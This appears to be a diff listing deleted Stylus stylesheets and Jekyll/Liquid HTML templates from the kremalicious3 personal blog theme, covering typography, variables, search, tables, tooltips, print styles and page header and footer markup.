opacity: 1
.nav-link
@extend .link--nounderline, .category
font-size: $font-size-small
text-shadow: 0 1px 0 rgba(#fff, .5)
padding: $padding-base-horizontal
margin-bottom: 0
margin-top: 0
display: block
border: none
// Paginator
/////////////////////////////////////
.paginator
@extend .textcenter
padding-top: ($spacer*2)
padding-bottom: ($spacer*2)
.icon
margin-bottom: -5px
.paginator__link
@extend .link--nounderline
width: 2rem
height: 2rem
line-height: 1.7
display: inline-block
border-radius: 50%
&:hover,
&:focus
background: rgba(255,255,255,.3)
&.active
@extend .text-dimmed
cursor: default
pointer-events: none
background: rgba(255,255,255,.3)
.paginator-title
@extend .page-title

View File

@ -1,80 +0,0 @@
//
// kremalicious3
// --------------
// Print
//
@media print
*
background: transparent
color: black !important
box-shadow:none !important
text-shadow: none !important
.entry-content a[href]:after
content: " (" attr(href) ")"
text-transform: none
font-size: $font-size-small
// hide stuff in article view
.related-posts,
.footer .grid:first-child,
.hentry:before,
.topbar
hide()
.hentry
border: none
.footer
color: #ccc !important
.footer-copyright
border-top: 1px solid #000 !important
&:after
hide()
abbr[title]:after
content: " (" attr(title) ")"
// Don't show links for images, or javascript/internal links
.ir a:after,
a[href^="javascript:"]:after,
a[href^="#"]:after
content: ""
pre,
blockquote
page-break-inside: avoid
thead
display: table-header-group
tr,
img
page-break-inside: avoid
img
max-width: 100% !important
@page
margin: 5.5cm
p,
h2,
h3
orphans: 3
widows: 3
.hentry
h1
page-break-before: always
&:first-child h1
page-break-before: avoid
h2,
h3
page-break-after: avoid

View File

@ -1,23 +0,0 @@
//
// kremalicious3
// --------------
// Scaffolding
//
// Body
/////////////////////////////////////
body
background: $body-bg
// Reset fonts for relevant elements
/////////////////////////////////////
input,
button,
select,
textarea
font-family: inherit
font-size: inherit
line-height: inherit

View File

@ -1,86 +0,0 @@
//
// kremalicious3
// --------------
// Search
//
.has-search-open
overflow: hidden
.site__content
@extend .transition
filter: blur(10px) opacity(0.3)
user-select: none
pointer-events: none
.search-btn
right: 70px
padding: .65em .85em
@media $screen-md
right: 50px
.search-close
position: absolute
right: 14px
&,
&:active
top: 8%
.search-area
@extend .transition
position: absolute
left: 0
top: -7px
z-index: 3
margin-left: ($spacer / 2)
margin-right: ($spacer / 2)
width: "calc(100% - %s)" % $spacer
// hidden by default
display: none
@media $screen-md
margin-left: 0
margin-right: 0
width: 100%
&.is-ready
display: block
.form-control
background: #fff
.search-popover
position: absolute
left: 0
top: ($spacer*2.4)
bottom: 0
z-index: 6
width: 100%
max-height: 90vh
padding: ($spacer / 2) 0
overflow: auto
-webkit-overflow-scrolling: touch
@media $screen-sm
top: ($spacer * 3)
.search-results
@extend .breakoutviewport
padding-bottom: $spacer
.search-link
@extend .h4
line-height: $line-height-small
margin: 0
padding: ($spacer / 2)
display: block
border-bottom: 1px solid alpha($brand-grey-light, .2)
box-shadow: 0 1px 0 alpha(#fff,.2)
&:hover
background: $link-color
color: #fff

View File

@ -1,69 +0,0 @@
// https://github.com/MozMorris/tomorrow-pygments/blob/master/css/tomorrow_night_eighties.css
.highlight .hll { background-color: #515151 }
.highlight { color: #cccccc }
.highlight .c { color: #777 } /* Comment */
.highlight .err { color: #f2777a } /* Error */
.highlight .k { color: #cc99cc } /* Keyword */
.highlight .l { color: #f99157 } /* Literal */
.highlight .n { color: #cccccc } /* Name */
.highlight .o { color: #66cccc } /* Operator */
.highlight .p { color: #cccccc } /* Punctuation */
.highlight .cm { color: #777 } /* Comment.Multiline */
.highlight .cp { color: #777 } /* Comment.Preproc */
.highlight .c1 { color: #777 } /* Comment.Single */
.highlight .cs { color: #777 } /* Comment.Special */
.highlight .gd { color: #f2777a } /* Generic.Deleted */
.highlight .ge { font-style: italic } /* Generic.Emph */
.highlight .gh { color: #cccccc; font-weight: bold } /* Generic.Heading */
.highlight .gi { color: #99cc99 } /* Generic.Inserted */
.highlight .gp { color: #999999; font-weight: bold } /* Generic.Prompt */
.highlight .gs { font-weight: bold } /* Generic.Strong */
.highlight .gu { color: #66cccc; font-weight: bold } /* Generic.Subheading */
.highlight .kc { color: #cc99cc } /* Keyword.Constant */
.highlight .kd { color: #cc99cc } /* Keyword.Declaration */
.highlight .kn { color: #66cccc } /* Keyword.Namespace */
.highlight .kp { color: #cc99cc } /* Keyword.Pseudo */
.highlight .kr { color: #cc99cc } /* Keyword.Reserved */
.highlight .kt { color: #ffcc66 } /* Keyword.Type */
.highlight .ld { color: #99cc99 } /* Literal.Date */
.highlight .m { color: #f99157 } /* Literal.Number */
.highlight .s { color: #99cc99 } /* Literal.String */
.highlight .na { color: #6699cc } /* Name.Attribute */
.highlight .nb { color: #cccccc } /* Name.Builtin */
.highlight .nc { color: #ffcc66 } /* Name.Class */
.highlight .no { color: #f2777a } /* Name.Constant */
.highlight .nd { color: #66cccc } /* Name.Decorator */
.highlight .ni { color: #cccccc } /* Name.Entity */
.highlight .ne { color: #f2777a } /* Name.Exception */
.highlight .nf { color: #6699cc } /* Name.Function */
.highlight .nl { color: #cccccc } /* Name.Label */
.highlight .nn { color: #ffcc66 } /* Name.Namespace */
.highlight .nx { color: #6699cc } /* Name.Other */
.highlight .py { color: #cccccc } /* Name.Property */
.highlight .nt { color: #66cccc } /* Name.Tag */
.highlight .nv { color: #f2777a } /* Name.Variable */
.highlight .ow { color: #66cccc } /* Operator.Word */
.highlight .w { color: #cccccc } /* Text.Whitespace */
.highlight .mf { color: #f99157 } /* Literal.Number.Float */
.highlight .mh { color: #f99157 } /* Literal.Number.Hex */
.highlight .mi { color: #f99157 } /* Literal.Number.Integer */
.highlight .mo { color: #f99157 } /* Literal.Number.Oct */
.highlight .sb { color: #99cc99 } /* Literal.String.Backtick */
.highlight .sc { color: #cccccc } /* Literal.String.Char */
.highlight .sd { color: #999999 } /* Literal.String.Doc */
.highlight .s2 { color: #99cc99 } /* Literal.String.Double */
.highlight .se { color: #f99157 } /* Literal.String.Escape */
.highlight .sh { color: #99cc99 } /* Literal.String.Heredoc */
.highlight .si { color: #f99157 } /* Literal.String.Interpol */
.highlight .sx { color: #99cc99 } /* Literal.String.Other */
.highlight .sr { color: #99cc99 } /* Literal.String.Regex */
.highlight .s1 { color: #99cc99 } /* Literal.String.Single */
.highlight .ss { color: #99cc99 } /* Literal.String.Symbol */
.highlight .bp { color: #cccccc } /* Name.Builtin.Pseudo */
.highlight .vc { color: #f2777a } /* Name.Variable.Class */
.highlight .vg { color: #f2777a } /* Name.Variable.Global */
.highlight .vi { color: #f2777a } /* Name.Variable.Instance */
.highlight .il { color: #f99157 } /* Literal.Number.Integer.Long */

View File

@ -1,68 +0,0 @@
//
// kremalicious3
// --------------
// Tables
//
table
border-collapse: collapse
border-spacing: 0
width: 100%
max-width: 100%
background-color: transparent
margin-bottom: $spacer
border-bottom: 1px solid #cfd9e1
td
vertical-align: top
th,
td
padding: .7em .3em
text-align: left
vertical-align: top
border-top: 1px solid #cfd9e1
th
@extend .bold
thead th
vertical-align: bottom
table tbody + tbody
border-top: 2px solid #cfd9e1
table tbody tr:nth-child(odd) td,
table tbody tr:nth-child(odd) th
background-color: rgba(255,255,255,.2)
table tbody tr:hover td,
table tbody tr:hover th
background-color: #f5f5f5
.table-responsive
overflow-x: auto
min-height: 0.01% // Workaround for IE9 bug (see https://github.com/twbs/bootstrap/issues/14837)
@media (max-width: $screen-xs-min)
width: 100%
margin-bottom: ($spacer * 0.75)
overflow-y: hidden
-webkit-overflow-scrolling: touch
-ms-overflow-style: -ms-autohiding-scrollbar
// Tighten up spacing
> table
margin-bottom: 0
// Ensure the content doesn't wrap
> thead,
> tbody,
> tfoot
> tr
> th,
> td
white-space: nowrap
padding: .5em .2em

View File

@ -1,4 +0,0 @@
.tagcloud__tag
@extend .link--nounderline
padding: .3rem .5rem

View File

@ -1,52 +0,0 @@
//
// kremalicious3
// --------------
// Tooltips
//
// Base class
.tooltip
position: absolute
z-index: 1000
display: block
// Our parent element can be arbitrary since tooltips are by default inserted as a sibling of their target element.
// So reset our font and text properties to avoid inheriting weird values.
font-family: $font-family-base
// We deliberately do NOT reset font-size.
font-style: normal
font-weight: normal
letter-spacing: normal
line-break: auto
line-height: $line-height
text-align: left; // Fallback for where `start` is not supported
text-align: start
text-decoration: none
text-shadow: none
text-transform: none
white-space: normal
word-break: normal
word-spacing: normal
word-wrap: normal
font-size: $font-size-mini
opacity: 0
&.in
opacity: .8
&.top
margin-top: -1px
&.right
margin-left: 1px
&.bottom
margin-top: 1px
&.left
margin-left: -1px
// Wrapper for the tooltip content
.tooltip-inner
max-width: 120px
padding: 4px 8px
color: $tooltip-color
text-align: center
background-color: $tooltip-bg
border-radius: $border-radius-base

View File

@ -1,321 +0,0 @@
//
// kremalicious3
// --------------
// Typography
//
// Base
/////////////////////////////////////
// Body reset
html
font-size: $font-size-root-xs
@media $screen-xs
font-size: $font-size-root
@media $screen-lg
font-size: $font-size-root-lg
body
font-family: $font-family-base
font-weight: $font-weight-base
font-size: $font-size-base
line-height: $line-height
color: $font-color-base
background: $body-bg
// handling long text, like URLs
overflow-wrap: break-word
word-wrap: break-word
word-break: break-word
text-rendering: optimizeLegibility
// Controversial! But prevents text flickering in
// Safari/Firefox when animations are running
-webkit-font-smoothing: antialiased
-moz-osx-font-smoothing: grayscale
-moz-font-feature-settings: 'liga', 'kern'
letter-spacing: -.01em
p,
ul,
ol
margin: 0 0 $spacer
// Reset fonts for relevant elements
/////////////////////////////////////
input,
button,
select,
textarea
font-family: inherit
font-size: inherit
line-height: inherit
// Headings
/////////////////////////////////////
h1, h2, h3, h4, h5, h6,
.h1, .h2, .h3, .h4, .h5, .h6
font-family: $headings-font-family
line-height: $headings-line-height
color: $headings-color
font-weight: 500
letter-spacing: -.04em
h1, .h1,
h2, .h2
margin-top: ($spacer*2)
margin-bottom: ($spacer*2)
h3, .h3
h4, .h4,
h5, .h5,
h6, .h6
margin-top: $spacer
margin-bottom: $spacer
h1, .h1
font-size: $font-size-h2
@media $screen-xs
font-size: $font-size-h1
h2, .h2
font-size: $font-size-h3
@media $screen-xs
font-size: $font-size-h2
h3, .h3
font-size: $font-size-h4
@media $screen-xs
font-size: $font-size-h3
h4, .h4
font-size: $font-size-h5
@media $screen-xs
font-size: $font-size-h4
h5, .h5
font-size: $font-size-h6
@media $screen-xs
font-size: $font-size-h5
h6, .h6
font-size: $font-size-h6
// Links
/////////////////////////////////////
a,
.link
color: $link-color
text-decoration: none
transition: .2s ease-in-out
&:hover,
&:focus
outline: 0
color: $link-color-hover
box-shadow: inset 0 -1px 0 rgba($link-color-hover, 70%)
&:active
transition: none
color: darken($link-color, 30%)
box-shadow: inset 0 -1px 0 darken($link-color, 30%)
h1 &,
h2 &,
h3 &
color: $headings-color
.link--nounderline
&,
&:hover,
&:focus,
&:active
box-shadow: none
// Lists
/////////////////////////////////////
ul,
ol
margin-top: 0
margin-bottom: $spacer
padding-left: ($spacer * 1.5)
list-style: none
li
position: relative
&:before
position: absolute
left: -($spacer * 1.5)
top: -1px
color: $text-color-light
user-select: none
ul
li
&:before
content: " \2015" // horizontal bar: ―
ol
counter-reset: ol-counter
li
&:before
content: counter(ol-counter)'.'
counter-increment: ol-counter
ul li:before
display: none
ul,
ol
ul,
ol
margin-bottom: 0
// List options
// Unstyled keeps list items block level, just removes default browser padding and list-style
list-unstyled()
padding-left: 0
list-style: none
display: block
li:before
display: none
.list-unstyled
list-unstyled()
nav
ul,
ol
@extend .list-unstyled
// Inline turns list items into inline-block
.list-inline
@extend .list-unstyled
> li
display: inline-block
padding-left: 5px
padding-right: 5px
&:first-child
padding-left: 0
// Inline typography
/////////////////////////////////////
p, li
hyphens: auto
b,
strong,
.bold
font-weight: 700
font-style: normal
em,
.italic
font-style: italic
hr
@extend .divider-bottom
border-top: 0
border-left: 0
border-right: 0
margin-bottom: ($spacer*2)
.large
font-size: $font-size-large-xs
@media $screen-xs
font-size: $font-size-large
.small
font-size: $font-size-small
.mini
font-size: $font-size-mini
abbr[title],
dfn
text-transform: none
font-style: normal
font-size: inherit
border-bottom: 1px dashed $brand-grey-dimmed
cursor: help
font-feature-settings: inherit
mark
background: #FFFAAB
color: $text-color
sup
@extend .small
.text-dimmed
color: $text-color-light
// Quotes
/////////////////////////////////////
q
@extend .italic
cite
font-style: normal
text-transform: uppercase
blockquote,
blockquote > p
@extend .italic, .text-dimmed
blockquote
padding-left: 25px
margin: 0 0 $spacer
position: relative
padding-left: 20px
@media $screen-xs
padding-left: 40px
@media $screen-lg
padding-left: 60px
// quotation marks
&:before
content: ""
font-size: 300%
color: lighten($text-color, 40%)
position: absolute
left: -10px
top: -20px
@media $screen-xs
left: 0
@media $screen-lg
top: -30px
p:last-child
margin-bottom: 0
// Selection
/////////////////////////////////////
::-moz-selection { background: #2e4f5c; color: #fff; }
::selection { background: #2e4f5c; color: #fff; }

View File

@ -1,166 +0,0 @@
//
// kremalicious3
// --------------
// Global variables & settings
//
// Settings
/////////////////////////////////////
vendors = official // Stylus' @keyframes settings
// Asset Paths
/////////////////////////////////////
$img-path = '/assets/img/'
$font-path = '/assets/fonts/'
// Colors
/////////////////////////////////////
$brand-dark = #015565
$brand-light = #e7eef4
$brand-cyan = #43a699
$brand-grey = #6b7f88
$brand-grey-light = lighten($brand-grey, 20%)
$brand-grey-dimmed = lighten($brand-grey, 60%)
// Text Colors
/////////////////////////////////////
$text-color = $brand-grey
$text-color-light = $brand-grey-light
// Typography
/////////////////////////////////////
$font-size-root-xs = 16px
$font-size-root = 18px
$font-size-root-lg = 20px
$font-size-base = 1rem
$font-size-large-xs = 1.15rem
$font-size-large = 1.45rem
$font-size-small = 0.8rem
$font-size-mini = 0.6rem
$font-size-h1 = 3rem
$font-size-h2 = 2rem
$font-size-h3 = 1.75rem
$font-size-h4 = $font-size-large
$font-size-h5 = $font-size-base
$font-size-h6 = $font-size-small
$line-height = 1.5
$line-height-large = 1.4
$line-height-small = 1.1428571429
$font-family-base = 'ff-tisa-sans-web-pro', 'Trebuchet MS', 'Helvetica Neue', Helvetica, Arial, sans-serif
$font-weight-base = 400
$font-color-base = $text-color
$font-family-monospace = Menlo, Monaco, Consolas, 'Courier New', monospace
$headings-font-family = 'brandon-grotesque', 'Avenir Next', 'Helvetica Neue',Helvetica,Arial,sans-serif
$headings-font-weight = 500 // Medium
$headings-line-height = 1.1
$headings-color = $brand-dark
// Scaffolding
/////////////////////////////////////
$body-bg = #dfe8ef
$page-bg = $brand-light
// Links
/////////////////////////////////////
$link-color = $brand-cyan
$link-color-hover = lighten($link-color, 15%)
// Grid
/////////////////////////////////////
$gutter-space = $spacer
// Components spacing
/////////////////////////////////////
$spacer = ($font-size-base * $line-height)
$border-radius-base = 3px
$border-radius-small = $border-radius-base
$border-radius-large = $border-radius-base
$padding-base-vertical = 8px
$padding-base-horizontal = 12px
$padding-small-vertical = ($padding-base-vertical / 2)
$padding-small-horizontal = ($padding-base-horizontal / 2)
$padding-large-vertical = ($padding-base-vertical * 2)
$padding-large-horizontal = ($padding-base-horizontal * 2)
// Forms
/////////////////////////////////////
$input-bg = alpha(#fff, .85)
$input-bg-focus = #fff
$input-bg-disabled = $brand-grey-light
$input-font-size = $font-size-base
$input-font-weight = $font-weight-base
$input-color = $font-color-base
$input-color-placeholder = rgba(46, 79, 92, .3)
$input-border = $brand-grey-light
$input-border-radius = $border-radius-base
$input-border-focus = $brand-cyan
// Code
/////////////////////////////////////
$code-bg = #343642
$code-color = $brand-light
$kbd-bg = $code-bg
$kbd-color = $code-color
// Responsive breakpoints
/////////////////////////////////////
$screen-xs-min = 30em
$screen-sm-min = 40.625em
$screen-md-min = 60em
$screen-lg-min = 87.500em
$screen-xs = 'only screen and (min-width: 30em)'
$screen-sm = 'only screen and (min-width: 40.625em)'
$screen-md = 'only screen and (min-width: 60em)'
$screen-lg = 'only screen and (min-width: 87.500em)'
// High dpi media query
/////////////////////////////////////
$highDPI = 'print, (-o-min-device-pixel-ratio: 5/4), (-webkit-min-device-pixel-ratio: 1.25), (min-resolution: 120dpi) '
$highDPI_3x = 'print, (-webkit-min-device-pixel-ratio: 3), (min-resolution: 344dpi) '
// Tooltips
/////////////////////////////////////
$tooltip-color = #fff
$tooltip-bg = darken($brand-dark, 15%)

View File

@ -1,121 +0,0 @@
.vex,
.vex *,
.vex *:before,
.vex *:after
box-sizing: border-box
.vex
position: fixed
overflow: auto
-webkit-overflow-scrolling: touch
z-index: 1111
top: 0
right: 0
bottom: 0
left: 0
.vex-scrollbar-measure
position: absolute
top: -9999px
width: 50px
height: 50px
overflow: scroll
.vex-content
animation: vex-fadein .3s
background: #fff
.vex.vex-closing &
animation: vex-fadeout .2s
.vex-dialog-form
margin: 0 // Browser reset
.vex-dialog-button
text-rendering: optimizeLegibility
appearance: none
cursor: pointer
-webkit-tap-highlight-color: transparent
// Prevent background scrolling when vex is open
// https://github.com/HubSpot/vex/issues/18
body.vex-open
overflow: hidden
//
// Custom theme
//
.vex-theme-kremalicious
display: flex
align-items: center
justify-content: center
background: alpha($body-bg, .9)
backdrop-filter: blur(5px)
animation: vex-fadein .3s
.vex.vex-closing &
animation: vex-fadeout .3s
.vex-content
background: transparent
padding: 0
position: relative
width: 100%
max-width: $screen-xs-min
border-radius: $border-radius-base
border: 1px solid alpha($brand-grey-light, .4)
box-shadow: 0 5px 30px alpha($brand-grey-light, .2)
padding: 0 $spacer
.vex__title
@extend .h4
margin-top: ($spacer/2)
margin-left: -($spacer)
margin-right: -($spacer)
border-bottom: 1px solid alpha($brand-grey-light, .4)
padding-bottom: ($spacer/2)
.vex-dialog-buttons
margin-top: $spacer
border-top: 1px solid alpha($brand-grey-light, .4)
padding-top: ($spacer/2)
.vex-dialog-button
@extend .btn
.vex-dialog-button-primary
@extend .btn-primary
.vex-close
@extend .close
position: absolute
top: ($spacer/4)
right: ($spacer/2)
&:before
@extend .close
content: "\00D7" // ×
display: block
color: $brand-grey
font-weight: 500
&:hover,
&:focus
&:before
color: $link-color
//
// Overlay/content animations
//
@keyframes vex-fadein
0%
opacity: 0
100%
opacity: 1
@keyframes vex-fadeout
0%
opacity: 1
100%
opacity: 0

View File

@ -1,67 +0,0 @@
//
// kremalicious3
// --------------
//
//
// Normalize all the things
@import '../../../node_modules/normalize-css/normalize.css'
@import '../../../node_modules/normalize-opentype.css/normalize-opentype.css'
// Core variables and mixins
@import '_kremalicious/variables'
@import '_kremalicious/mixins'
// Core CSS
@import '_kremalicious/typography'
@import '_kremalicious/animations'
@import '_kremalicious/grid'
@import '_kremalicious/layout'
@import '_kremalicious/forms'
@import '_kremalicious/buttons'
@import '_kremalicious/icons'
@import '_kremalicious/media'
@import '_kremalicious/tables'
@import '_kremalicious/code'
@import '_kremalicious/syntax'
@import '_kremalicious/alerts'
@import '_kremalicious/vex'
// Content
@import '_kremalicious/content'
@import '_kremalicious/content-photo'
@import '_kremalicious/content-link'
@import '_kremalicious/content-featured'
@import '_kremalicious/content-related'
// Components
@import '_kremalicious/header'
@import '_kremalicious/navigation'
@import '_kremalicious/hamburger'
@import '_kremalicious/search'
@import '_kremalicious/tooltips'
@import '_kremalicious/footer'
@import '_kremalicious/actions'
@import '_kremalicious/tagcloud'
// Pages
@import '_page-404'
@import '_page-styleguide'
// Print
@import '_kremalicious/print'
.coinhive
position: fixed
bottom: 0
right: 0
z-index: 3
font-size: $font-size-mini
padding: ($spacer / 5) ($spacer / 2)
background: rgba($page-bg, .5)
border-top-left-radius: 4px
.coinhive__hashrate
opacity: .6

View File

@ -1,23 +0,0 @@
<aside class="actions">
<div class="grid grid--gutters grid--full grid-small--half">
<div class="grid__col">
<article class="action twitter">
<svg class="icon icon-twitter">
<use xlink:href="/assets/img/sprite.svg#twitter"></use>
</svg>
<h1 class="action__title">Have a comment?</h1>
<p class="action__text">Hit me up <a href="https://twitter.com/intent/tweet?text=@kremalicious&url={{ site.url }}{{ page.url }}">@{{ site.author.twitter }}</a></p>
</article>
</div>
<div class="grid__col">
<article class="action donate">
<svg class="icon icon-bitcoin">
<use xlink:href="/assets/img/sprite.svg#bitcoin"></use>
</svg>
<h1 class="action__title">Found something useful?</h1>
<p class="action__text">Say thanks <a href="#" class="js-vex-btc">with Bitcoins or Ether.</a></p>
</article>
</div>
</div>
</aside>

View File

@ -1,108 +0,0 @@
{% if post.layout == "link" %}
<article class="hentry format-link">
<header class="entry-header">
<h1 class="entry-title">
<a href="{{ post.linkurl }}" title="Go to source: {{ post.linkurl | remove:'http://' | remove:'https://' | remove:'www.' }}">
{{ post.title | titlecase }}
<svg class="icon icon-forward">
<use xlink:href="/assets/img/sprite.svg#forward"></use>
</svg>
<span class="linkurl">{{ post.linkurl | remove:'http://' | remove:'https://' | remove:'www.' | split:'/' | first }}</span>
</a>
</h1>
</header>
<section class="entry-content">
{{ post.content }}
<p>
<a class="more-link" href="{{ post.linkurl }}">Go to source
<svg class="icon icon-forward">
<use xlink:href="/assets/img/sprite.svg#forward"></use>
</svg>
</a>
<a class="permalink-link" href="{{ post.url }}" data-toggle="tooltip" title="Permalink">
<svg class="icon icon-infinity">
<use xlink:href="/assets/img/sprite.svg#infinity"></use>
</svg>
</a>
</p>
</section>
</article>
{% elsif post.layout == "photo" %}
<article class="hentry format-photo">
<a class="photo-link" href="{{ post.url }}">
<figure class="hentry__teaser hmedia">
{% include picture.html size='phototeaser' %}
<figcaption class="entry-title fn">{{ post.title | titlecase }}</figcaption>
</figure>
</a>
</article>
{% else %}
<article class="hentry format-post">
<header class="entry-header">
<h1 class="entry-title"><a href="{{ post.url }}">{{ post.title | titlecase }}</a></h1>
</header>
<section class="entry-content">
{% if post.image %}
<a class="hentry__teaser hentry__teaser--link" href="{{ post.url }}">
{% include picture.html %}
</a>
{% endif %}
{% capture has_more %}{{ post.content | has_excerpt }}{% endcapture %}
{% unless post.categories contains "goodies" and page.path contains "goodies" %}
{{ post.excerpt }}
{% endunless %}
{% if post.categories contains "goodies" and page.path contains "goodies" %}
<footer class="goodie-actions grid grid--gutters grid--full grid-small--fit">
<p class="info grid__col">
<a class="btn icon icon-info" href="{{ post.url }}">
<svg class="icon icon-info-with-circle">
<use xlink:href="/assets/img/sprite.svg#info-with-circle"></use>
</svg>
Release Post
</a>
</p>
{% if post.download %}
<p class="download grid__col">
<a class="btn" href="/media/{{ post.download }}">
<svg class="icon icon-arrow-with-circle-down">
<use xlink:href="/assets/img/sprite.svg#arrow-with-circle-down"></use>
</svg>
Download <span>zip</span>
</a>
</p>
{% endif %}
</footer>
{% endif %}
{% unless page.path contains "goodies" %}
<a class="more-link" href="{{ post.url }}">
Continue reading
<svg class="icon icon-chevron-right">
<use xlink:href="/assets/img/sprite.svg#chevron-right"></use>
</svg>
</a>
{% endunless %}
</section>
</article>
{% endif %}

View File

@ -1,31 +0,0 @@
<footer class="entry-meta">
<p class="byline author vcard source-org">
<span class="by">by</span> <a class="fn" rel="author" href="{{ site.author.uri }}">
{% if page.author %}
{{ page.author }}
{% else %}
{{ site.author.name }}
{% endif %}
</a>
</p>
<p class="time">
<time-ago class="pubdate" datetime="{{ page.date | date_to_xmlschema }}" pubdate{% if page.updated %} data-updated="true"{% endif %}>{{ page.date | date_to_string }}</time-ago>
{% if page.updated %} &bull; updated <time-ago class="updated" datetime="{{ page.updated | date_to_xmlschema }}">{{ page.updated | date_to_string }}</time-ago>{% endif %}
</p>
<p class="categories">
{% for category in page.categories %}
<a class="category" href="/{{ category }}">{{ category }}</a>
{% endfor %}
</p>
<p class="tags">
{% for tag in page.tags %}
<a class="tag" href="/tag/{{ tag }}">{{ tag }}</a>
{% endfor %}
</p>
</footer>

View File

@ -1,15 +0,0 @@
<aside class="featured">
<div class="grid grid--fit grid-medium--gutters">
{% for post in site.posts %}
{% if post.featured %}
<article class="grid__col">
<a class="hentry__teaser featured-link" href="{{ post.url }}" title="{{ post.title }}">
{% include picture.html size='featured' %}
<h1 class="featured-title">{{ post.title | titlecase }}</h1>
</a>
</article>
{% endif %}
{% endfor %}
</div>
</aside>

View File

@ -1,69 +0,0 @@
<footer role="contentinfo" class="site__footer">
<div class="footer__content">
<div class="container">
<div class="vcard author">
<img class="avatar photo" src="/assets/img/avatar.jpeg" />
<p class="footer-description">Blog of designer &amp; developer <a class="fn" rel="author" href="{{ site.author.uri }}">{{ site.author.name }}</a>
<p>
<a class="link twitter" href="https://twitter.com/{{ site.author.twitter }}">
<svg class="icon icon-twitter">
<use xlink:href="/assets/img/sprite.svg#twitter"></use>
</svg>
</a>
<a class="link github" href="https://github.com/{{ site.author.github }}">
<svg class="icon icon-github">
<use xlink:href="/assets/img/sprite.svg#github"></use>
</svg>
</a>
<a class="link facebook" href="https://www.facebook.com/{{ site.author.facebook }}">
<svg class="icon icon-facebook">
<use xlink:href="/assets/img/sprite.svg#facebook"></use>
</svg>
</a>
</p>
</div>
<aside class="subscribe">
<h1 class="subscribe-title">Subscribe</h1>
<p>
<a class="link rss" href="http://kremalicious.com/feed.xml" title="RSS Feed">
<svg class="icon icon-rss">
<use xlink:href="/assets/img/sprite.svg#rss"></use>
</svg>
</a>
<a class="link json" href="http://kremalicious.com/feed.json" title="JSON Feed">
<svg class="icon icon-jsonfeed">
<use xlink:href="/assets/img/sprite.svg#jsonfeed"></use>
</svg>
</a>
</p>
</aside>
<section class="footer-copyright">
<p>&copy; 2005&ndash;{{ site.time | date: "%Y" }} <a href="http://matthiaskretschmann.com" rel="me">Matthias Kretschmann</a></p>
<p>
<a href="https://github.com/kremalicious/kremalicious3/blob/master/_src/{{ page.path }}">
<svg class="icon icon-github">
<use xlink:href="/assets/img/sprite.svg#github"></use>
</svg>
View source
</a>
<a href="#" class="footer__btc js-vex-btc">
<svg class="icon icon-bitcoin">
<use xlink:href="/assets/img/sprite.svg#bitcoin"></use>
</svg>
<code>{{ site.author.bitcoin }}</code>
</a>
</p>
</section>
</div>
</div>
</footer>
{% include scripts.html %}

View File

@ -1,103 +0,0 @@
<!DOCTYPE html>
<!--
___ ___
/__/\ /__/|
| |::\ | |:|
| |:|:\ | |:|
__|__|:|\:\ __| |:|
/__/::::| \:\ /__/\_|:|____
\ \:\~~\__\/ \ \:\/:::::/
\ \:\ \ \::/~~~~
\ \:\ \ \:\
\ \:\ \ \:\
\__\/ \__\/
YOU EARNED THE GEEK ACHIEVEMENT
FOR LOOKING AT MY SOURCE
But because of all the minimizing and caching
going on you better check out the code on
github
_____________________________________________
https://github.com/kremalicious/kremalicious3
_____________________________________________
-->
<html lang="en">
<head>
<meta charset="utf-8">
<title>
{% if paginator.previous_page %}
Page {{ paginator.page }} &brvbar; {{ site.name }}
{% elsif page.title %}
{{ page.title }} &brvbar; {{ site.name }}
{% else %}
{{ site.name }} &brvbar; {{ site.description }}
{% endif %}
</title>
{% if page.description %}
<meta name="description" content="{{ page.description }}">
{% elsif page.front_page %}
<meta name="description" content="{{ site.description }}">
{% else %}
<meta name="description" content="{{ page.excerpt | strip_html | strip_newlines }}" />
{% endif %}
<meta name="author" content="{% if page.author %}{{ page.author }}{% else %}{{ site.author.name }}{% endif %}">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="HandheldFriendly" content="True">
<meta name="MobileOptimized" content="320">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta http-equiv="cleartype" content="on">
<link rel="stylesheet" href="/assets/css/kremalicious3.min.css">
{% if page.style %}
<link rel="stylesheet" href="/assets/css/{{ page.style }}">
{% endif %}
<!-- Prevent search indexing for some pages -->
{% if page.sitemap == false %}
<meta name="robots" content="noindex,nofollow">
{% endif %}
<!-- TypeKit -->
<link rel="preload" href="https://use.typekit.net/msu4qap.css" as="style" crossorigin>
<link rel="stylesheet" href="https://use.typekit.net/msu4qap.css">
<!-- Canonical URL -->
<link rel="canonical" href="{{ site.url}}{{ page.url | replace:'index.html','' }}">
<!-- Atom feed -->
<link href="{{ site.url }}/feed.xml" rel="alternate" type="application/atom+xml" title="{{ site.name }} posts feed" />
<!-- json feed -->
<link href="{{ site.url }}/feed.json" rel="alternate" type="application/json" title="{{ site.name }} posts feed" />
<!-- Apple -->
<meta name="apple-mobile-web-app-title" content="kremalicious">
<!-- Touch Icons -->
<link rel="apple-touch-icon" href="/assets/img/apple-touch-icon.png">
<link rel="icon" type="image/png" href="/assets/img/favicon-32x32.png" sizes="32x32">
<link rel="icon" type="image/png" href="/assets/img/favicon-96x96.png" sizes="96x96">
<link rel="icon" type="image/png" href="/assets/img/touch-icon-192x192.png" sizes="192x192">
<link rel="mask-icon" href="/assets/img/favicon-mask.svg" color="#015565">
<meta name="msapplication-TileImage" content="{{ site.url }}/assets/img/metro-tile.png"/>
<meta name="msapplication-TileColor" content="#015565"/>
<meta name="theme-color" content="#015565">
<!-- OpenGraph -->
{% include opengraph.html %}
<!-- Twitter Cards -->
{% include twittercards.html %}
<!-- Google Authorship -->
<link href="https://plus.google.com/+MatthiasKretschmann" rel="author"/>
<!-- https://cloudinary.com/documentation/responsive_images#automating_responsive_images_with_client_hints -->
<meta http-equiv="Accept-CH" content="DPR, Viewport-Width, Width">
</head>

View File

@ -1,57 +0,0 @@
<header role="banner" class="site__header">
<div class="header__content">
<div class="container">
<div class="grid grid--half">
<div class="grid__col">
<h1 class="header__title">
<a class="header__logo" href="/">kremalicious</a>
</h1>
</div>
<nav role="navigation" class="nav-main grid__col">
<button type="button" class="menu-btn">
<div class="hamburger">
<span></span>
<span></span>
<span></span>
</div>
</button>
</nav>
<section class="site-search">
<button type="button" class="search-btn">
<svg class="icon icon-search" role="img" aria-labelledby="title">
<title id="title">Search</title>
<use xlink:href="/assets/img/sprite.svg#magnifying-glass"></use>
</svg>
</button>
<div class="search-area">
<input type="search" id="search-input" class="form-control input-search search-field" placeholder="Search everything">
<button class="close search-close">&times;</button>
</div>
</section>
</div>
